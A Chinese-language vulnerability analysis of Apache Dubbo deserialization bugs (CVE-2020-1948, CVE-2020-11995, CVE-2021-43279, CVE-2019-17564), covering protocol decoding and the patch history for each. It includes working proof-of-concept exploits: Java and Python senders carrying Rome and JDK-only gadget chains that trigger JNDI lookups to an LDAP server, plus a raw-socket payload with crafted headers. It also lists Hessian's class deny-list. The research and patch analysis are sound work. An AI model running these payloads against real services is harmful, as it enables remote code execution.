Dubbo 反序列化(一)
Dubbo 基础
Apache Dubbo 是一款 RPC 服务开发框架。提供三个核心功能:面向接口的远程方法调用
、智能容错和负载均衡
,以及服务自动注册和发现
。
节点角色
节点 | 角色说明 |
---|---|
Provider | 暴露服务的服务提供者 |
Consumer | 调用远程服务的服务消费者 |
Registry | 服务注册与发现的注册中心 |
Monitor | 统计服务的调用次数和调用时间的监控中心 |
Container | 服务运行容器 |
调用关系
- 服务容器负责启动,加载,运行服务提供者。
- 服务提供者在启动时,向注册中心注册自己提供的服务。
- 服务消费者在启动时,向注册中心订阅自己所需的服务。
- 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
- 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
- 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。
环境搭建
直接下载这个dubbo-samples-spring-boot然后idea打开,包含三个子模块:
-
demo: https://github.com/apache/dubbo-samples/tree/master/1-basic/dubbo-samples-spring-boot
-
手册: https://cn.dubbo.apache.org/zh/docs3-v2/java-sdk/quick-start/spring-boot/
正常的话还需要一个注册中心,使用zookeeper:
- 修改
zoo_sample.cfg
文件名为zoo.cfg
- 运行
zkServer.cmd
即可启动Zookeeper - zookeeper 配置文件【zoo_sample.cfg】详解 这里直接用默认配置即可。
不过这里这个dubbo-samples-spring-boot的Demo中只做单元测试,用里面自带的EmbeddedZooKeeper类就行。
后面切换版本的时候子模块的pom.xml会报错,自行添加版本。
Dubbo-RPC 基本概念
整体设计如下图:
- Invocation 是请求会话领域模型,每次请求有相应的 Invocation 实例,负责包装 dubbo 方法信息为请求参数;
- Invoker 是实体域,代表一个可执行实体,有本地、远程、集群三类;
- Exporter 服务提供者 Invoker 管理实体;
- Protocol 是核心层,也就是只要有 Protocol + Invoker + Exporter 就可以完成非透明的 RPC 调用。
- Proxy 层封装了所有接口的透明化代理,而在其它层都以 Invoker 为中心,只有到了暴露给用户使用时,才用 Proxy 将 Invoker 转成接口,或将接口实现转成 Invoker。
服务提供者启动时,先创建相应选择的Protocol(协议对象),然后通过代理工厂创建Invoker对象,接着使用Protocol对Invoker进行服务注册至注册中心。Invoker 是由 Protocol 实现类构建而来,Dubbo 默认的 Protocol 实现类为DubboProtocol。
请求解码
默认情况下 Dubbo 使用 Netty 作为底层的通信框架。Netty 检测到有数据入站后,首先会通过Codec解码器对数据进行解码,解码链路如下:
NettyCodecAdapter#getDecoder()
->NettyCodecAdapter$InternalDecoder#decode
->DubboCountCodec#decode
->DubboCodec#decode
->ExchangeCodec#decode
->DubboCodec#decodeBody
...
MultiMessageHandler#received
->HeartbeatHadnler#received
->AllChannelHandler#received
...
ChannelEventRunnable#run
->DecodeHandler#received
->DecodeHandler#decode
->DecodeableRpcInvocation#decode
看一下Codec2接口实现类的继承关系,DubboCountCodec 是对整个请求和响应的编解码。
ExchangeCodec 负责处理 Dubbo 协议的请求头,而 DubboCodec 则是通过继承的方式,在其基础之上,添加了解析 Dubbo 消息体的功能。
org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter
类中通过内部类的方式实现了解码和编码器,主要decode流程在org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode(org.apache.dubbo.remoting.Channel, org.apache.dubbo.remoting.buffer.ChannelBuffer, int, byte[])
函数中。
先读取头数据,接着调用decodeBody()解码消息体。
ExchangeCodec 中实现了 decodeBody 方法,但因其子类 DubboCodec 覆写了该方法,所以实际调用的是org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody
方法。
protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
// 获取消息头中的第三个字节,并通过逻辑与运算得到序列化器编号
byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);
//选择 Serialization 对象,默认为 hessian2
Serialization s = CodecSupport.getSerialization(channel.getUrl(), proto);
// 获取调用编号
long id = Bytes.bytes2long(header, 4);
// 通过逻辑与运算得到调用类型,0 - Response,1 - Request
if ((flag & FLAG_REQUEST) == 0) {
// 对响应结果进行解码,得到 Response 对象
.....................
} else {
Request req = new Request(id);
req.setVersion(Version.getProtocolVersion());
// 通过逻辑与运算得到通信方式,并设置到 Request 对象中
req.setTwoWay((flag & FLAG_TWOWAY) != 0);
// 通过位运算检测数据包是否为事件类型
if ((flag & FLAG_EVENT) != 0) {
// 设置心跳事件到 Request 对象中
req.setEvent(Request.HEARTBEAT_EVENT);
}
try {
Object data;
if (req.isHeartbeat()) {
// 对心跳包进行解码,后面攻击漏洞时会用到这里
data = decodeHeartbeatData(channel, deserialize(s, channel.getUrl(), is));
} else if (req.isEvent()) {
// 对事件数据进行解码
data = decodeEventData(channel, deserialize(s, channel.getUrl(), is));
} else {
// 解析报文数据
DecodeableRpcInvocation inv;
// 根据 url 参数判断是否在 IO 线程上对消息体进行解码
if (channel.getUrl().getParameter(
Constants.DECODE_IN_IO_THREAD_KEY,
Constants.DEFAULT_DECODE_IN_IO_THREAD)) {
inv = new DecodeableRpcInvocation(channel, req, is, proto);
// 在当前线程,也就是 IO 线程上进行后续的解码工作。此工作完成后,可将
// 调用方法名、attachment、以及调用参数解析出来
// 2.7.8版本进行方法名限制的补丁位置
inv.decode();
} else {
// 仅创建 DecodeableRpcInvocation 对象,但不在当前线程上执行解码逻辑
inv = new DecodeableRpcInvocation(channel, req,
new UnsafeByteArrayInputStream(readMessageData(is)), proto);
}
data = inv;
}
// 设置 data 到 Request 对象中
req.setData(data);
//..............
return req;
}
}
in = CodecSupport.deserialize(channel.getUrl(), is, proto);
位置获取InputSteam数据转为ObjectInput,
根据id获取相应的反序列化实现,url.getParameter
获取获取反序列化实现名称。最后判断编号为3、4、7或者编号取出的反序列化实现名称和服务提供者端配置的不一致,都会抛出异常。
inv.decode();
所调用的 DecodeableRpcInvocation#decode
方法中通过反序列化将诸如 path、version、调用方法名、参数列表等信息依次解析出来,并设置到相应的字段中,最终得到一个具有完整调用信息的 DecodeableRpcInvocation 对象。这个方法就是后面漏洞分析中readObject的入口处。
调用服务
解码器将数据包解析成 Request 对象后,NettyHandler 的 messageReceived 方法紧接着会收到这个对象,并将这个对象继续向下传递。
NettyHandler#messageReceived(ChannelHandlerContext, MessageEvent)
—> AbstractPeer#received(Channel, Object)
—> MultiMessageHandler#received(Channel, Object)
—> HeartbeatHandler#received(Channel, Object)
—> AllChannelHandler#received(Channel, Object)
—> ExecutorService#execute(Runnable) // 由线程池执行后续的调用逻辑
Dispatcher线程派发的部分这里就不多关注了,默认由 AllChannelHandler 处理,请求对象会被封装 ChannelEventRunnable 中。ChannelEventRunnable 仅是一个中转站,它的 run 方法中并不包含具体的调用逻辑,仅用于将参数传给其他 ChannelHandler 对象进行处理。
DecodeHandler 是对请求体和响应结果的解码,比如在调用方法时会进入decode(((Request) message).getData())
对 Request 的 data 字段进行解码。
这里会进入到
DecodeableRpcInvocation#decode
进行反序列化DecodeHandler#received(Channel, Object) ->DecodeHandler#decode(Object) ->DecodeableRpcInvocation#decode() ->DecodeableRpcInvocation#decode(Channel, InputStream)
ChannelEventRunnable#run()
—> DecodeHandler#received(Channel, Object)
—> HeaderExchangeHandler#received(Channel, Object)
—> HeaderExchangeHandler#handleRequest(ExchangeChannel, Request)
—> DubboProtocol.requestHandler#reply(ExchangeChannel, Object)
经过上面的调用栈会入DubboProtocol 类中的匿名类对象ExchangeHandlerAdapter
。其reply方法会获取 Invoker 实例,通过 Invoker 调用具体的服务。
DubboProtocol#getInvoker
方法中,通过与指定服务对应的暴露对象exporter 获取Invoker 实例。
回到reply方法中,调用invoker.invoke(inv)
方法进行方法调用,该方法定义在 AbstractProxyInvoker,其调用 doInvoke 执行后续的调用,doInvoke 是一个抽象方法,由具体的 Invoker 实例实现。
public Result invoke(Invocation invocation) throws RpcException {
try {
return new RpcResult(doInvoke(proxy, invocation.getMethodName(), invocation.getParameterTypes(), invocation.getArguments()));
//......................
protected abstract Object doInvoke(T proxy, String methodName, Class<?>[] parameterTypes, Object[] arguments) throws Throwable;
服务引用,引用的是一个代理类。Invoker实例通过InvokerInvocationHandler包装,然后通过JavassistProxyFactory#getProxy
生成代理类。
—> Filter#invoke(Invoker, Invocation)
—> AbstractProxyInvoker#invoke(Invocation)
—> Wrapper0#invokeMethod(Object, String, Class[], Object[])
—> DemoServiceImpl#sayHello(String)
Dubbo RPC协议
Dubbo协议格式如下:
-
Header(16 bytes)
-
Magic - Magic High & Magic Low (16 bits)
标识协议版本号,Dubbo 协议:0xdabb
-
Req/Res (1 bit)
标识是请求或响应。请求: 1; 响应: 0。
-
2 Way (1 bit)
仅在 Req/Res 为1(请求)时才有用,标记是否期望从服务器返回值。如果需要来自服务器的返回值,则设置为1。
-
Event (1 bit)
标识是否是事件消息,例如,心跳事件。如果这是一个事件,则设置为1。
-
Serialization ID (5 bit)
标识序列化类型:比如 fastjson 的值为6。
-
Status (8 bits)
仅在 Req/Res 为0(响应)时有用,用于标识响应的状态。
-
Request ID (64 bits)
标识唯一请求。类型为long。
-
Data Length (32 bits)
序列化后的内容长度(可变部分),按字节计数。int类型。
-
-
Body(n bytes)
-
Variable Part
被特定的序列化类型(由序列化 ID 标识)序列化后的RPC数据
-
Dubbo 协议中前 128 位是协议头,之后的内容是具体的负载数据。协议头就是通过 ExchangeCodec 实现编解码的。
ExchangeCodec 的核心字段有如下几个。
- HEADER_LENGTH(int 类型,值为 16):协议头的字节数,16 字节,即 128 位。
- MAGIC(short 类型,值为 0xdabb):协议头的前 16 位,分为 MAGIC_HIGH 和 MAGIC_LOW 两个字节。
- FLAG_REQUEST(byte 类型,值为 0x80):用于设置 Req/Res 标志位。
- FLAG_TWOWAY(byte 类型,值为 0x40):用于设置 2Way 标志位。
- FLAG_EVENT(byte 类型,值为 0x20):用于设置 Event 标志位。
- SERIALIZATION_MASK(int 类型,值为 0x1f):用于获取序列化类型的标志位的掩码。
Dubbo-Hessian
Dubbo默认是使用了Hessian2作为序列化和反序列化的工具。Hessian 是一种跨语言的高效二进制序列化方式。但Dubbo是阿里修改过的 Hessian lite。其默认反序列化器为JavaDeserializer,而官方的Hessian的默认序列化器是UnsafeSerializer。
反序列化时候UnsafeDeserializer先将二进制数据序列化成Map,然后再将Map转化成对象,而JavaDeserializer会新建一个对象然后再把属性设置进去。
而构造器及构造器的参数在当前 JavaDeserializer
实例化时会确定,会使用反射调用参数最少的那个构造函数生成对象。
com.alibaba.com.caucho.hessian.io.JavaDeserializer#JavaDeserializer
然后由com.alibaba.com.caucho.hessian.io.JavaDeserializer#getParamArg
获取参数,只返回基本类型的参数值。
比如rome反序列化链中的ObjectBean类。在dubbo中的Hessian lite中因为其参数最少的那个构造函数的两个参数都不是基本类型,导致getParamArg
中获取为null所以无法正常实例化,导致反序列化失败。
所以这里使用marshalsec中的Rome调用链直接由EqualsBean#hashCode
=> EqualsBean#beanHashCode
。
同理Rome二次序列化链中的SignedObject也没法被反序列化。
而且必须是Public的类才能被反序列化,不然会报错java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"
漏洞分析
这里主要先分析 hessian 和 http 相关的反序列化漏洞
CVE-2020-1948(<= 2.7.6)
- Apache Dubbo 2.7.0 ~ 2.7.6
- Apache Dubbo 2.6.0 ~ 2.6.7
- Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
测试版本 Dubbo 2.7.3
参考[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE有两种触发方法:
- 通过反序列化参数时的HashMap.put方法触发;
- 反序列化完成后,利用service不存在抛出异常输出时,隐式调用toString方法触发;
readObject
上面请求解码的部分提过DecodeableRpcInvocation#decode
方法中对反序列化获取参数列表,那如果传入的方法参数是个恶意对象,自然就可触发了。
修改dubbo-samples-spring-boot-consumer中的代码,加一个服务端不存在的方法,传入恶意对象进行调用。
@SpringBootApplication
@Service
@EnableDubbo
public class ConsumerApplication {
@Reference
private DemoService demoService;
public static void main(String[] args) throws Exception {
ConfigurableApplicationContext context = SpringApplication.run(ConsumerApplication.class, args);
ConsumerApplication application = context.getBean(ConsumerApplication.class);
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/irap0o";
jdbcRowSet.setDataSourceName(url);
Map expMap = makeMap(JdbcRowSetImpl.class,jdbcRowSet);
application.sendPayload(expMap);
}
public Object sendPayload(Object name) {
return demoService.sendPayload(name);
}
public static HashMap makeMap(Class expectedClass, Object o) throws Exception {
ToStringBean toStringBean = new ToStringBean(expectedClass, o);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> expMap = new HashMap<>();
setFieldValue(expMap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, "any", null));
setFieldValue(expMap, "table", tbl);
return expMap;
}
}
上面的利用方式是要Provider端该service存在的情况,如果Dubbo找不到注册的service,consumer代理不能生成就会报错。
原因可参考:https://blog.csdn.net/lkforce/article/details/90479966
https://cloud.tencent.com/developer/article/1845311
后序列化利用
漏洞原作者的POC,还有一个使用的是任意不存在的service和method,导致Dubbo找不到注册的service而抛出异常,在抛出异常的时候触发漏洞。
原作者使用 python_EXP 修改了服务名,证明攻击不受该参数影响。
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:1389/irap0o",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='cn.rui0',
method_name='rce',
args=[toStringBean])
print(resp)
思路就是漏洞作者Java“后反序列化漏洞”利用思路这篇文章中提过的。
具体到这,在反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE,调用栈如下:
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
toString:4571, Arrays (java.util)
toString:241, RpcInvocation (org.apache.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:266, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker
到getInvoker这因为service不存在就会报错,
报错信息中的", message:" + inv
这个inv是DecodeableRpcInvocation的实例对象,在这里在拼接字符串时候默认调用其toString方法,具体实现在其父类org.apache.dubbo.rpc.RpcInvocation
。
其中的argements就是ToStringBean的实例,跟入Arrays.toString(arguments)
在这里调用ToStringBean#toString()
触发。
补丁
2.7.7版本中DecodeableRpcInvocation#decode(Channel, InputStream)
中增加了一个判断,限制了RPC的方法名,不是指定方法的话会抛出异常。
https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9
CVE-2020-11995(<= 2.7.7)
- Dubbo 2.7.0 ~ 2.7.7
- Dubbo 2.6.0 ~ 2.6.8
- Dubbo 所有 2.5.x 版本
测试版本 Dubbo 2.7.7
针对后序列化利用的绕过,上面提到的2.7.7版本补丁RpcUtils.isGenericCall
和 RpcUtils.isEcho
中限制了方法名只能为$invoke
,$invokeAsync
,$echo
。修改poc中调用的方法名即可。
debug级别与invocation值
但是修改python版本的poc进行后反序列化攻击,则依旧无效。而在2.7.5之后的版本中throw RemotiyicngException部分进行了修改,可见inv多了一个getInvocationWithoutData方法包裹。
https://github.com/apache/dubbo/commit/5618b12340b9c3ecf90c7e01c274a4f094cc146c#diff-37a8a427d2ec646f392ebd9225019346
DubboProtocol#getInvocationWithoutData
方法中默认将inv对象的arguments参数设置为null,但如果系统配置log4j debug级别或者不配置任何其他级别,会直接返回invocation对象。所以在特定条件下还是可以利用成功的。
补丁
https://github.com/apache/dubbo/commit/5ad186fa874d9f0dfb87b989e54c1325d39abd40
DecodeableRpcInvocation增加入参类型校验,只有参数类型合法才会继续进行反序列化操作。
新的反序列化入口
心跳包解码
2.7.3 版本请求消息体的解码实现DubboCodec#decodeBody
还有两个反序列化的地方,
2.7.5版本开始移除了decodeHeartbeatData部分
2.7.9 以及之后的版本HeartBeat直接返回null,上面的payload会进入decodeEventData进行解码
这两个地方判断逻辑都是依据mEvent属性
FLAG_EVENT
值为32
flag值获取自header[2]
且影响proto反序列化类型
decodeHeartbeatData(<= 2.7.4.1)
这里利用ExchangeCodec#decodeHeartbeatData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectInput)
去反序列化数据
Hessian2ObjectInput#readObject(java.lang.Class<T>)
Hessian2ObjectInput
对mH2这个对象进行了封装,后面就是正常的hessian序列化了。
decodeBody
方法中根据flag标志位,选择数据包类型进行解码。
添加头数据,修改Event位为 1 然后Socket连接发送反序列化数据。
public static void main(String[] args) throws Exception {
//JDBC
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/n44cbl";
jdbcRowSet.setDataSourceName(url);
Map expMap = makeMap(JdbcRowSetImpl.class,jdbcRowSet);
//序列化
ByteArrayOutputStream brr = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(brr);
output.writeObject(expMap);
output.flush();
//发送数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
Bytes.int2bytes(brr.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(brr.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
public static HashMap makeMap(Class expectedClass, Object o) throws Exception {
ToStringBean toStringBean = new ToStringBean(expectedClass, o);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> expMap = new HashMap<>();
setFieldValue(expMap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, "any", null));
setFieldValue(expMap, "table", tbl);
return expMap;
}
这个payload的发送是在知道dubbo provider的ip和端口情况下,或者知道zoomkeeper的ip&port+一个目标的interface接口名称(提供正确的interface接口,可以借助zoomkeeper拿到目标的ip和port)
主要调用栈:
put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:85, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decodeHeartbeatData:413, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decodeBody:125, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:90, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)
decodeEventData(<= 2.7.8)
readUTF(<= 2.7.13)
在请求解码的部分中提过DecodeableRpcInvocation#decode
方法中通过反序列化将诸如 path、version、调用方法名、参数列表等信息进行读取,具体调用的就是readUTF方法。
跟进Hessian2ObjectInput#readUTF
方法
Hessian2Input#readString()
方法通过获取tag位,进行相应的处理。当这里不是一个String类型的时候,将会抛出异常。
public String readString()throws IOException {
int tag = read();
switch (tag) {
case 'N':
return null;
//....................
default:
throw expect("string", tag);
Hessian2Input#expect
方法,进行默认的Hessian2反序列化
修改上面的payload中header部分即可
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
//header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
header[2] = (byte) ((byte) 0x80 | 2);
主体调用栈如下:
put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
expect:3561, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
补丁
Apache Dubbo 2.7.9 版本限制了数据长度,Event包反序列化利用受限。
Apache Dubbo 2.7.14版本升级到了 hessian_lite_version 3.2.11
https://github.com/apache/dubbo-hessian-lite/commit/15e85b01d51dbbd1981d1f311cd7eff4add1c67e
com.alibaba.com.caucho.hessian.io.ClassFactory
中增加了super class 检查,通过包命和类名过滤将要创建的对象,而Hessian2反序列化创建对象时,都需要使用ClassFactory这个工厂类。readUTF那的默认hessian反序列化利用受限。
# dubbo-2.7.14-sources.jar!\DENY_CLASS 禁止包命如下 bsh. ch.qos.logback.core.db. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.hotcode.internal.org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy.druid.pool. com.caucho.config.types. com.caucho.hessian.test. com.caucho.naming. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq.bcel.util. com.mchange.v2.c3p0. com.mysql.jdbc.util. com.rometools.rome.feed. com.sun.corba.se.impl. com.sun.corba.se.spi.orbutil. com.sun.jndi.rmi. com.sun.jndi.toolkit. com.sun.org.apache.bcel.internal. com.sun.org.apache.xalan.internal. com.sun.rowset. com.sun.xml.internal.bind.v2. com.taobao.vipserver.commons.collections.functors. groovy.lang. java.beans. java.rmi.server. java.security. javassist.bytecode.annotation. javassist.util.proxy. javax.imageio. javax.imageio.spi. javax.management. javax.media.jai.remote. javax.naming. javax.script. javax.sound.sampled. javax.xml.transform. net.bytebuddy.dynamic.loading. oracle.jdbc.connector. oracle.jdbc.pool. org.apache.aries.transaction.jms. org.apache.bcel.util. org.apache.carbondata.core.scan.expression. org.apache.commons.beanutils. org.apache.commons.codec.binary. org.apache.commons.collections.functors. org.apache.commons.collections4.functors. org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp.datasources. org.apache.commons.dbcp2.datasources. org.apache.commons.fileupload.disk. org.apache.ibatis.executor.loader. org.apache.ibatis.javassist.bytecode. org.apache.ibatis.javassist.tools. org.apache.ibatis.javassist.util. org.apache.ignite.cache. org.apache.log.output.db. org.apache.log4j.receivers.db. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat.dbcp. org.apache.velocity.runtime. org.apache.velocity. org.apache.wicket.util. org.apache.xalan.xsltc.trax. org.apache.xbean.naming.context. org.apache.xpath. org.apache.zookeeper. org.aspectj.apache.bcel.util. org.codehaus.groovy.runtime. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.eclipse.jetty.util.log. org.geotools.filter. org.h2.value. org.hibernate.tuple.component. org.hibernate.type. org.jboss.ejb3. org.jboss.proxy.ejb. org.jboss.resteasy.plugins.server.resourcefactory. org.jboss.weld.interceptor.builder. org.mockito.internal.creation.cglib. org.mortbay.log. org.quartz. org.springframework.aop.aspectj. org.springframework.beans.factory. org.springframework.expression.spel. org.springframework.jndi. org.springframework.orm. org.springframework.transaction. org.yaml.snakeyaml.tokens. pstore.shaded.org.apache.commons.collections. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common. 正则匹配 java\lang\ProcessBuilder java\lang\Runtime java\util\ServiceLoader javassist\tools\web\Viewer org\springframework\beans\BeanWrapperImpl$BeanPropertyHandler
CVE-2021-43279(<= 2.7.14)
- Apache Dubbo 2.6.x <= 2.6.12
- Apache Dubbo 2.7.x <= 2.7.14
- Apache Dubbo 3.0.x <= 3.0.5
测试版本 Dubbo 2.7.13
后反序列化利用,hessian-lite在反序列化抛出异常时会进行对象拼接,进而隐式的触发toString。
主要的调用链也是readUTF() -> readString() -> except()
,只不过上面用的是readObject那进行默认的反序列化然后hash.put();
主体调用栈如下:
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:557, AbstractMap (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:3566, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
Rome 链因为类加载黑名单限制,只能打到 2.7.13 版本。如果有合适的toString类仍可以在 2.7.14 版本进行利用。
原生jdk利用链
测试版本 Dubbo 2.7.14
该漏洞还引出了hessian的jdk原生链。由于和xstream有点类似,可以从其历史链来作参考 :
- https://x-stream.github.io/CVE-2021-21346.html
- 如何高效的挖掘Java反序列化利用链?
Rdn$RdnEntry#compareTo()->
XString#equal()->
MultiUIDefaults#toString()->
UIDefaults#get()->
UIDefaults#getFromHashTable()->
UIDefaults$LazyValue#createValue()->
SwingLazyValue#createValue()->
InitialContext#doLookup()
javax.swing.MultiUIDefaults
不是public类不能被实例化,使用java.awt.datatransfer.MimeTypeParameterList
替代
UIDefaults 是继承Hashtable的 ,所以需要toString() -> Hashtable.get()
public class MimeTypeParameterList {
private Hashtable parameters = new Hashtable();
//..............
public String toString() {
StringBuffer buffer = new StringBuffer();
buffer.ensureCapacity(this.parameters.size() * 16);
Enumeration keys = this.parameters.keys();
while(keys.hasMoreElements()) {
String key = (String)keys.nextElement();
buffer.append("; ");
buffer.append(key);
buffer.append('=');
buffer.append(quote((String)this.parameters.get(key)));
}
return buffer.toString();
然后就是要找到一个public static方法来导致RCE,参考官方 write up 的几种方法:
some interesting staic funtions
MethodUtils.invoke
0ctf-2022-soln-hessian-onlyjdk
System.setProperty + InitalContext.doLookup @福来阁
DumpBytecode.dumpBytecode + System.load @ty1310 @nese
com.sun.org.apache.xalan.internal.xslt.Process._main @福来阁 @Water Paddler
sun.tools.jar.Main.main
writeup @Cyku
System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm @StrawHat
最常见的就是利用System.setProperty + InitalContext.doLookup
在 SwingLazyValue.createValue
中拿到public static 的方法 然后invoke
MimeTypeParameterList#toString()->
UIDefaults#get()->
UIDefaults#getFromHashTable()->
SwingLazyValue#createValue()
修改前面poc的恶意对象部分
//only jdk
SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/yxh3ln"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q",value);
Object o=obj("java.awt.datatransfer.MimeTypeParameterList");
setValue(o,"parameters",uiDefaults);
//序列化
ByteArrayOutputStream brr = new ByteArrayOutputStream();
Hessian2Output output=new Hessian2Output(brr);
output.setSerializerFactory(new SerializerFactory());
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
这个利用链可以在 2.7.14 版本利用。这里不过多展开,其他利用链可参考:
-
0ctf2022 hessian-only-jdk writeup jdk原生链
-
0ctf/tctf 2022 hessian only jdk 复现和学习
补丁
2.7.15版本升级hessian_lite_version到3.2.12,该版本中移除对String的调用
https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#
CVE-2019-17564(Http协议)
- 2.7.0 <= Apache Dubbo <= 2.7.4.1
- 2.6.0 <= Apache Dubbo <= 2.6.7
- Apache Dubbo = 2.5.x
测试版本 Dubbo 2.7.3
会直接将 POST请求 body中的数据进行反序列化处理造成了漏洞。
下载https://github.com/apache/dubbo-samples/tree/master/3-extensions/protocol/dubbo-samples-http
